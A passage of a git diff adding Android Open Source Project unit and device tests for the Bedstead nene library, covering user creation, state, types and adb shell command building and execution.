+    public void start_userNotStarted_userIsStarted() {
+        UserReference user = mUsers.createUser().create().stop();
+
+        user.start();
+
+        try {
+            assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void start_userAlreadyStarted_doesNothing() {
+        UserReference user = mUsers.createUser().createAndStart();
+
+        user.start();
+
+        try {
+            assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void stop_userDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () -> mUsers.find(NON_EXISTING_USER_ID).stop());
+    }
+
+    @Test
+    public void stop_userStarted_userIsStopped() {
+        UserReference user = mUsers.createUser().createAndStart();
+
+        user.stop();
+
+        try {
+            assertThat(user.resolve().state()).isEqualTo(User.UserState.NOT_RUNNING);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void stop_userNotStarted_doesNothing() {
+        UserReference user = mUsers.createUser().create().stop();
+
+        user.stop();
+
+        try {
+            assertThat(user.resolve().state()).isEqualTo(User.UserState.NOT_RUNNING);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void switchTo_userIsSwitched() throws Exception {
+        assumeTrue(
+                "Adopting Shell Permissions only works for Q+", SDK_INT >= Build.VERSION_CODES.Q);
+        // TODO(scottjonathan): In this case we can probably grant the permission through adb?
+
+        UserReference user = mUsers.createUser().createAndStart();
+        try {
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                // for INTERACT_ACROSS_USERS
+
+                mTestApis.packages().find(sContext.getPackageName()).install(user);
+                user.switchTo();
+
+                Intent intent = new Intent();
+                intent.setPackage(sContext.getPackageName());
+                intent.setClassName(sContext.getPackageName(), TEST_ACTIVITY_NAME);
+                intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+                sContext.startActivityAsUser(intent, user.userHandle());
+
+                EventLogs<ActivityCreatedEvent> logs =
+                        ActivityCreatedEvent.queryPackage(sContext.getPackageName())
+                                .whereActivity().className().isEqualTo(TEST_ACTIVITY_NAME)
+                                .onUser(user.userHandle());
+                assertThat(logs.poll()).isNotNull();
+            });
+        } finally {
+            mUsers.system().switchTo();
+            user.remove();
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java
new file mode 100644
index 0000000..b87965c
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTest.java
@@ -0,0 +1,187 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class UserTest {
+
+    private static final int NON_EXISTING_USER_ID = 10000;
+    private static final int USER_ID = NON_EXISTING_USER_ID;
+    private static final int SERIAL_NO = 1000;
+    private static final UserType USER_TYPE = new UserType(new UserType.MutableUserType());
+    private static final String USER_NAME = "userName";
+
+    private final Users mUsers = new Users();
+
+    @Test
+    public void id_returnsId() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        mutableUser.mId = USER_ID;
+        User user = new User(mUsers, mutableUser);
+
+        assertThat(user.id()).isEqualTo(USER_ID);
+    }
+
+    @Test
+    public void construct_idNotSet_throwsNullPointerException() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        mutableUser.mId = null;
+
+        assertThrows(NullPointerException.class, () -> new User(mUsers, mutableUser));
+    }
+
+    @Test
+    public void serialNo_returnsSerialNo() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        mutableUser.mSerialNo = SERIAL_NO;
+        User user = new User(mUsers, mutableUser);
+
+        assertThat(user.serialNo()).isEqualTo(SERIAL_NO);
+    }
+
+    @Test
+    public void serialNo_notSet_returnsNull() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        User user = new User(mUsers, mutableUser);
+
+        assertThat(user.serialNo()).isNull();
+    }
+
+    @Test
+    public void name_returnsName() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        mutableUser.mName = USER_NAME;
+        User user = new User(mUsers, mutableUser);
+
+        assertThat(user.name()).isEqualTo(USER_NAME);
+    }
+
+    @Test
+    public void name_notSet_returnsNull() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        User user = new User(mUsers, mutableUser);
+
+        assertThat(user.name()).isNull();
+    }
+
+    @Test
+    public void type_returnsName() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        mutableUser.mType = USER_TYPE;
+        User user = new User(mUsers, mutableUser);
+
+        assertThat(user.type()).isEqualTo(USER_TYPE);
+    }
+
+    @Test
+    public void type_notSet_returnsNull() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        User user = new User(mUsers, mutableUser);
+
+        assertThat(user.type()).isNull();
+    }
+
+    @Test
+    public void hasProfileOwner_returnsHasProfileOwner() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        mutableUser.mHasProfileOwner = true;
+        User user = new User(mUsers, mutableUser);
+
+        assertThat(user.hasProfileOwner()).isTrue();
+    }
+
+    @Test
+    public void hasProfileOwner_notSet_returnsNull() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        User user = new User(mUsers, mutableUser);
+
+        assertThat(user.hasProfileOwner()).isNull();
+    }
+
+    @Test
+    public void isPrimary_returnsIsPrimary() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        mutableUser.mIsPrimary = true;
+        User user = new User(mUsers, mutableUser);
+
+        assertThat(user.isPrimary()).isTrue();
+    }
+
+    @Test
+    public void isPrimary_notSet_returnsNull() {
+        User.MutableUser mutableUser = createValidMutableUser();
+        User user = new User(mUsers, mutableUser);
+
+        assertThat(user.isPrimary()).isNull();
+    }
+
+    @Test
+    public void state_userNotStarted_returnsState() {
+        UserReference user = createUser();
+        user.stop();
+
+        try {
+            assertThat(user.resolve().state()).isEqualTo(User.UserState.NOT_RUNNING);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    @Ignore("TODO: Ensure we can enter the user locked state")
+    public void state_userLocked_returnsState() {
+        UserReference user = createUser();
+        user.start();
+
+        try {
+            assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_LOCKED);
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    public void state_userUnlocked_returnsState() {
+        UserReference user = createUser();
+        user.start();
+
+        try {
+            assertThat(user.resolve().state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
+        } finally {
+            user.remove();
+        }
+    }
+
+    private User.MutableUser createValidMutableUser() {
+        User.MutableUser mutableUser = new User.MutableUser();
+        mutableUser.mId = 1;
+        return mutableUser;
+    }
+
+    private UserReference createUser() {
+        return mUsers.createUser().name(USER_NAME).create();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTypeTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTypeTest.java
new file mode 100644
index 0000000..d05e091
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserTypeTest.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.Set;
+
+@RunWith(JUnit4.class)
+public class UserTypeTest {
+
+    private static final int INT_VALUE = 1;
+    private static final String STRING_VALUE = "String";
+
+    @Test
+    public void name_returnsName() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        mutableUserType.mName = STRING_VALUE;
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.name()).isEqualTo(STRING_VALUE);
+    }
+
+    @Test
+    public void name_notSet_returnsNull() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.name()).isNull();
+    }
+
+    @Test
+    public void baseType_returnsBaseType() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        mutableUserType.mBaseType = Set.of(UserType.BaseType.FULL);
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.baseType()).containsExactly(UserType.BaseType.FULL);
+    }
+
+    @Test
+    public void baseType_notSet_returnsNull() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.baseType()).isNull();
+    }
+
+    @Test
+    public void enabled_returnsEnabled() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        mutableUserType.mEnabled = true;
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.enabled()).isTrue();
+    }
+
+    @Test
+    public void enabled_notSet_returnsNull() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.enabled()).isNull();
+    }
+
+    @Test
+    public void maxAllowed_returnsMaxAllowed() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        mutableUserType.mMaxAllowed = INT_VALUE;
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.maxAllowed()).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    public void maxAllowed_notSet_returnsNull() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.maxAllowed()).isNull();
+    }
+
+    @Test
+    public void maxAllowedPerParent_returnsMaxAllowedPerParent() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        mutableUserType.mMaxAllowedPerParent = INT_VALUE;
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.maxAllowedPerParent()).isEqualTo(INT_VALUE);
+    }
+
+    @Test
+    public void maxAllowedParParent_notSet_returnsNull() {
+        UserType.MutableUserType mutableUserType = new UserType.MutableUserType();
+        UserType userType = new UserType(mutableUserType);
+
+        assertThat(userType.maxAllowedPerParent()).isNull();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
new file mode 100644
index 0000000..a47095f
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
@@ -0,0 +1,271 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import static android.os.Build.VERSION.SDK_INT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.os.Build;
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.utils.ShellCommandUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class UsersTest {
+
+    private static final String SYSTEM_USER_TYPE = "android.os.usertype.full.SYSTEM";
+    private static final int MAX_SYSTEM_USERS = UserType.UNLIMITED;
+    private static final int MAX_SYSTEM_USERS_PER_PARENT = UserType.UNLIMITED;
+    private static final String MANAGED_PROFILE_TYPE = "android.os.usertype.profile.MANAGED";
+    private static final String RESTRICTED_USER_TYPE = "android.os.usertype.full.RESTRICTED";
+    private static final int MAX_MANAGED_PROFILES = UserType.UNLIMITED;
+    private static final int MAX_MANAGED_PROFILES_PER_PARENT = 1;
+    private static final int NON_EXISTING_USER_ID = 10000;
+    private static final int USER_ID = NON_EXISTING_USER_ID;
+    private static final String USER_NAME = "userName";
+
+    private final Users mUsers = new Users();
+
+    // We don't want to test the exact list of any specific device, so we check that it returns
+    // some known types which will exist on the emulators (used for presubmit tests).
+
+    @Test
+    public void supportedTypes_containsManagedProfile() {
+        assumeTrue(
+                "supportedTypes is only supported on Android 11+",
+                SDK_INT >= Build.VERSION_CODES.R);
+
+        UserType managedProfileUserType =
+                mUsers.supportedTypes().stream().filter(
+                        (ut) -> ut.name().equals(MANAGED_PROFILE_TYPE)).findFirst().get();
+
+        assertThat(managedProfileUserType.baseType()).containsExactly(UserType.BaseType.PROFILE);
+        assertThat(managedProfileUserType.enabled()).isTrue();
+        assertThat(managedProfileUserType.maxAllowed()).isEqualTo(MAX_MANAGED_PROFILES);
+        assertThat(managedProfileUserType.maxAllowedPerParent())
+                .isEqualTo(MAX_MANAGED_PROFILES_PER_PARENT);
+    }
+
+    @Test
+    public void supportedTypes_containsSystemUser() {
+        assumeTrue(
+                "supportedTypes is only supported on Android 11+",
+                SDK_INT >= Build.VERSION_CODES.R);
+
+        UserType systemUserType =
+                mUsers.supportedTypes().stream().filter(
+                        (ut) -> ut.name().equals(SYSTEM_USER_TYPE)).findFirst().get();
+
+        assertThat(systemUserType.baseType()).containsExactly(
+                UserType.BaseType.SYSTEM, UserType.BaseType.FULL);
+        assertThat(systemUserType.enabled()).isTrue();
+        assertThat(systemUserType.maxAllowed()).isEqualTo(MAX_SYSTEM_USERS);
+        assertThat(systemUserType.maxAllowedPerParent()).isEqualTo(MAX_SYSTEM_USERS_PER_PARENT);
+    }
+
+    @Test
+    public void supportedTypes_androidVersionLessThan11_returnsNull() {
+        assumeTrue("supportedTypes is supported on Android 11+", SDK_INT < Build.VERSION_CODES.R);
+
+        assertThat(mUsers.supportedTypes()).isNull();
+    }
+
+    @Test
+    public void supportedType_validType_returnsType() {
+        assumeTrue(
+                "supportedTypes is only supported on Android 11+",
+                SDK_INT >= Build.VERSION_CODES.R);
+
+        UserType managedProfileUserType = mUsers.supportedType(MANAGED_PROFILE_TYPE);
+
+        assertThat(managedProfileUserType.baseType()).containsExactly(UserType.BaseType.PROFILE);
+        assertThat(managedProfileUserType.enabled()).isTrue();
+        assertThat(managedProfileUserType.maxAllowed()).isEqualTo(MAX_MANAGED_PROFILES);
+        assertThat(managedProfileUserType.maxAllowedPerParent())
+                .isEqualTo(MAX_MANAGED_PROFILES_PER_PARENT);
+    }
+
+    @Test
+    public void supportedType_invalidType_androidVersionLessThan11_returnsNull() {
+        assumeTrue("supportedTypes is supported on Android 11+", SDK_INT < Build.VERSION_CODES.R);
+
+        assertThat(mUsers.supportedType(MANAGED_PROFILE_TYPE)).isNull();
+    }
+
+    @Test
+    public void supportedType_validType_androidVersionLessThan11_returnsNull() {
+        assumeTrue("supportedTypes is supported on Android 11+", SDK_INT < Build.VERSION_CODES.R);
+
+        assertThat(mUsers.supportedType(MANAGED_PROFILE_TYPE)).isNull();
+    }
+
+    @Test
+    public void all_containsCreatedUser() throws Exception {
+        int userId = createUser();
+
+        try {
+            User foundUser = mUsers.all().stream().filter(
+                    u -> u.id() == userId).findFirst().get();
+
+            assertThat(foundUser).isNotNull();
+        } finally {
+            removeUser(userId);
+        }
+    }
+
+    @Test
+    public void all_userAddedSinceLastCallToUsers_containsNewUser() throws Exception {
+        int userId = createUser();
+        mUsers.all();
+        int userId2 = createUser();
+
+        try {
+            User foundUser = mUsers.all().stream().filter(
+                    u -> u.id() == userId).findFirst().get();
+
+            assertThat(foundUser).isNotNull();
+        } finally {
+            removeUser(userId);
+            removeUser(userId2);
+        }
+    }
+
+    @Test
+    public void all_userRemovedSinceLastCallToUsers_doesNotContainRemovedUser() throws Exception {
+        int userId = createUser();
+        mUsers.all();
+        removeUser(userId);
+
+        assertThat(mUsers.all().stream().anyMatch(u -> u.id() == userId)).isFalse();
+    }
+
+    @Test
+    public void find_userExists_returnsUserReference() throws Exception {
+        int userId = createUser();
+        try {
+            assertThat(mUsers.find(userId)).isNotNull();
+        } finally {
+            removeUser(userId);
+        }
+    }
+
+    @Test
+    public void find_userDoesNotExist_returnsUserReference() {
+        assertThat(mUsers.find(NON_EXISTING_USER_ID)).isNotNull();
+    }
+
+    @Test
+    public void find_fromUserHandle_referencesCorrectId() {
+        assertThat(mUsers.find(UserHandle.of(USER_ID)).id()).isEqualTo(USER_ID);
+    }
+
+    @Test
+    public void find_constructedReferenceReferencesCorrectId() {
+        assertThat(mUsers.find(USER_ID).id()).isEqualTo(USER_ID);
+    }
+
+    @Test
+    public void createUser_userIsCreated()  {
+        UserReference userReference = mUsers.createUser()
+                .create();
+
+        try {
+            assertThat(
+                    mUsers.all().stream().anyMatch((u -> u.id() == userReference.id()))).isTrue();
+        } finally {
+            userReference.remove();
+        }
+    }
+
+    @Test
+    public void createUser_createdUserHasCorrectName() {
+        UserReference userReference = mUsers.createUser()
+                .name(USER_NAME) // required
+                .create();
+
+        try {
+            assertThat(userReference.resolve().name()).isEqualTo(USER_NAME);
+        } finally {
+            userReference.remove();
+        }
+    }
+
+    @Test
+    public void createUser_createdUserHasCorrectTypeName() {
+        assumeTrue("types are supported on Android 11+", SDK_INT < Build.VERSION_CODES.R);
+
+        UserType type = mUsers.supportedType(RESTRICTED_USER_TYPE);
+        UserReference userReference = mUsers.createUser()
+                .type(type)
+                .create();
+
+        try {
+            assertThat(userReference.resolve().type()).isEqualTo(type);
+        } finally {
+            userReference.remove();
+        }
+    }
+
+    @Test
+    public void createAndStart_isStarted() {
+        User user = null;
+
+        try {
+            user = mUsers.createUser().name(USER_NAME).createAndStart().resolve();
+            assertThat(user.state()).isEqualTo(User.UserState.RUNNING_UNLOCKED);
+        } finally {
+            if (user != null) {
+                user.remove();
+            }
+        }
+    }
+
+    @Test
+    public void system_hasId0() {
+        assertThat(mUsers.system().id()).isEqualTo(0);
+    }
+
+    private int createUser() {
+        // We do ADB calls directly to ensure we are actually changing the system state and not just
+        //  internal nene state
+        try {
+            String createUserOutput = ShellCommandUtils.executeCommand("pm create-user testuser");
+            return Integer.parseInt(createUserOutput.split("id ")[1].trim());
+        } catch (AdbException e) {
+            throw new AssertionError("Error creating user", e);
+        }
+    }
+
+    private void removeUser(int userId) throws InterruptedException {
+        // We do ADB calls directly to ensure we are actually changing the system state and not just
+        //  internal nene state
+        try {
+            ShellCommandUtils.executeCommand("pm remove-user " + userId);
+            ShellCommandUtils.executeCommandUntilOutputValid("dumpsys user", (output) -> !output.contains("UserInfo{" + userId + ":"));
+        } catch (AdbException e) {
+            throw new AssertionError("Error removing user", e);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/ShellCommandTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/ShellCommandTest.java
new file mode 100644
index 0000000..a87c22d
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/ShellCommandTest.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import static android.os.Build.VERSION.SDK_INT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+import static org.testng.Assert.assertThrows;
+
+import android.os.Build;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.function.Function;
+
+@RunWith(JUnit4.class)
+public class ShellCommandTest {
+
+    private static final String LIST_USERS_COMMAND = "pm list users";
+    private static final String LIST_USERS_EXPECTED_OUTPUT = "Users:";
+    private static final String INVALID_COMMAND_LEGACY_OUTPUT = "pm list-users";
+    private static final String INVALID_COMMAND_EXPECTED_LEGACY_OUTPUT = "Unknown command:";
+    private static final String INVALID_COMMAND_CORRECT_OUTPUT = "pm set-harmful-app-warning --no";
+    private static final String COMMAND_WITH_EMPTY_OUTPUT = "am stop-user 99999";
+    private static final Function<String, Boolean> ALWAYS_PASS_OUTPUT_FILTER = (output) -> true;
+    private static final Function<String, Boolean> ALWAYS_FAIL_OUTPUT_FILTER = (output) -> false;
+    private static final String COMMAND = "pm list users";
+
+    @Test
+    public void constructBuilder_nullCommand_throwsException() {
+        assertThrows(NullPointerException.class, () -> ShellCommand.builder(null));
+    }
+
+    @Test
+    public void constructBuilder_constructs() {
+        assertThat(ShellCommand.builder(/* command= */ COMMAND)).isNotNull();
+    }
+
+    @Test
+    public void build_containsCommand() {
+        assertThat(ShellCommand.builder(/* command= */ COMMAND).build()).isEqualTo(COMMAND);
+    }
+
+    @Test
+    public void build_containsOption() {
+        ShellCommand.Builder builder = ShellCommand.builder("command")
+                .addOption("--optionkey", "optionvalue");
+
+
+        assertThat(builder.build()).isEqualTo("command --optionkey optionvalue");
+    }
+
+    @Test
+    public void build_containsOptions() {
+        ShellCommand.Builder builder = ShellCommand.builder("command")
+                .addOption("--optionkey", "optionvalue")
+                .addOption("--optionkey2", "optionvalue2");
+
+
+        assertThat(builder.build()).isEqualTo(
+                "command --optionkey optionvalue --optionkey2 optionvalue2");
+    }
+
+    @Test
+    public void build_containsOperand() {
+        ShellCommand.Builder builder = ShellCommand.builder("command")
+                .addOperand("operand");
+
+
+        assertThat(builder.build()).isEqualTo("command operand");
+    }
+
+    @Test
+    public void build_containsOperands() {
+        ShellCommand.Builder builder = ShellCommand.builder("command")
+                .addOperand("operand")
+                .addOperand("operand2");
+
+
+        assertThat(builder.build()).isEqualTo("command operand operand2");
+    }
+
+    @Test
+    public void build_interleavesOptionsAndOperands() {
+        ShellCommand.Builder builder = ShellCommand.builder("command")
+                .addOperand("operand")
+                .addOption("--optionkey", "optionvalue")
+                .addOperand("operand2");
+
+
+        assertThat(builder.build()).isEqualTo("command operand --optionkey optionvalue operand2");
+    }
+
+    @Test
+    public void execute_returnsOutput() throws Exception {
+        assertThat(ShellCommand.builder(LIST_USERS_COMMAND).execute())
+                .contains(LIST_USERS_EXPECTED_OUTPUT);
+    }
+
+    @Test
+    @Ignore("This behaviour is not implemented yet")
+    public void execute_invalidCommand_legacyOutput_throwsException() {
+        assumeTrue(
+                "New behaviour is only supported on Android 11+", SDK_INT >= Build.VERSION_CODES.R);
+        assertThrows(AdbException.class,
+                () -> ShellCommand.builder(INVALID_COMMAND_LEGACY_OUTPUT).execute());
+    }
+
+    @Test
+    public void execute_invalidCommand_legacyOutput_preAndroid11_throwsException()
+            throws Exception {
+        // This is currently still the default behaviour
+        //assumeTrue("Legacy behaviour is only supported before 11",
+        // SDK_INT < Build.VERSION_CODES.R);
+        assumeTrue("This command's behaviour changed in Android P",
+                SDK_INT >= Build.VERSION_CODES.P);
+        assertThat(ShellCommand.builder(INVALID_COMMAND_LEGACY_OUTPUT).execute())
+                .contains(INVALID_COMMAND_EXPECTED_LEGACY_OUTPUT);
+    }
+
+    @Test
+    public void executeAndValidateOutput_outputFilterMatched_returnsOutput() throws Exception {
+        assertThat(
+                ShellCommand.builder(LIST_USERS_COMMAND).
+                        executeAndValidateOutput(ALWAYS_PASS_OUTPUT_FILTER))
+                .isNotNull();
+    }
+
+    @Test
+    public void executeAndValidateOutput_outputFilterNotMatched_throwsException() {
+        assertThrows(AdbException.class,
+                () -> ShellCommand.builder(LIST_USERS_COMMAND)
+                        .executeAndValidateOutput(ALWAYS_FAIL_OUTPUT_FILTER));
+    }
+
+    @Test
+    public void execute_invalidCommand_correctOutput_throwsException() {
+        assertThrows(AdbException.class,
+                () -> ShellCommand.builder(INVALID_COMMAND_CORRECT_OUTPUT).execute());
+    }
+
+    @Test
+    public void execute_allowEmptyOutput_commandHasEmptyOutput_returnsOutput()
+            throws Exception {
+        assertThat(
+                ShellCommand.builder(COMMAND_WITH_EMPTY_OUTPUT)
+                        .allowEmptyOutput(true)
+                        .execute())
+                .isEmpty();
+    }
+
+    @Test
+    public void execute_allowEmptyOutput_commandHasNonEmptyOutput_returnsOutput()
+            throws Exception {
+        assertThat(ShellCommand.builder(LIST_USERS_COMMAND)
+                .allowEmptyOutput(true)
+                .execute())
+                .contains(LIST_USERS_EXPECTED_OUTPUT);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/ShellCommandUtilsTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/ShellCommandUtilsTest.java
new file mode 100644
index 0000000..ab62b8e
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/utils/ShellCommandUtilsTest.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import static android.os.Build.VERSION.SDK_INT;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+import static org.testng.Assert.assertThrows;
+
+import android.os.Build;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.function.Function;
+
+@RunWith(JUnit4.class)
+public class ShellCommandUtilsTest {
+
+    private static final String LIST_USERS_COMMAND = "pm list users";
+    private static final String LIST_USERS_EXPECTED_OUTPUT = "Users:";
+    private static final String INVALID_COMMAND_LEGACY_OUTPUT = "pm list-users";
+    private static final String INVALID_COMMAND_EXPECTED_LEGACY_OUTPUT = "Unknown command:";
+    private static final String INVALID_COMMAND_CORRECT_OUTPUT = "pm set-harmful-app-warning --no";
+    private static final Function<String, Boolean> ALWAYS_PASS_OUTPUT_FILTER = (output) -> true;
+    private static final Function<String, Boolean> ALWAYS_FAIL_OUTPUT_FILTER = (output) -> false;
+
+    @Test
+    public void executeCommand_returnsOutput() throws Exception {
+        assertThat(ShellCommandUtils.executeCommand(LIST_USERS_COMMAND))
+                .contains(LIST_USERS_EXPECTED_OUTPUT);
+    }
+
+    @Test
+    @Ignore("This behaviour is not implemented yet")
+    public void executeCommand_invalidCommand_legacyOutput_throwsException() {
+        assumeTrue(
+                "New behaviour is only supported on Android 11+", SDK_INT >= Build.VERSION_CODES.R);
+        assertThrows(AdbException.class,
+                () -> ShellCommandUtils.executeCommand(INVALID_COMMAND_LEGACY_OUTPUT));
+    }
+
+    @Test
+    public void executeCommand_invalidCommand_legacyOutput_preAndroid11_throwsException()
+            throws Exception {
+        // This is currently still the default behaviour
+        //assumeTrue("Legacy behaviour is only supported before 11",
+        // SDK_INT < Build.VERSION_CODES.R);
+        assumeTrue("This command's behaviour changed in Android P",
+                SDK_INT >= Build.VERSION_CODES.P);
+        assertThat(ShellCommandUtils.executeCommand(INVALID_COMMAND_LEGACY_OUTPUT))
+                .contains(INVALID_COMMAND_EXPECTED_LEGACY_OUTPUT);
+    }
+
+    @Test
+    public void executeCommandAndValidateOutput_outputFilterMatched_returnsOutput()
+            throws Exception {
+        assertThat(
+                ShellCommandUtils.executeCommandAndValidateOutput(
+                        LIST_USERS_COMMAND, ALWAYS_PASS_OUTPUT_FILTER))
+                .isNotNull();
+    }
+
+    @Test
+    public void executeCommandAndValidateOutput_outputFilterNotMatched_throwsException() {
+        assertThrows(AdbException.class,
+                () -> ShellCommandUtils.executeCommandAndValidateOutput(
+                        LIST_USERS_COMMAND, ALWAYS_FAIL_OUTPUT_FILTER));
+    }
+
+    @Test
+    public void executeCommand_invalidCommand_correctOutput_throwsException() {
+        assertThrows(AdbException.class,
+                () -> ShellCommandUtils.executeCommand(INVALID_COMMAND_CORRECT_OUTPUT));
+    }
+
+    @Test
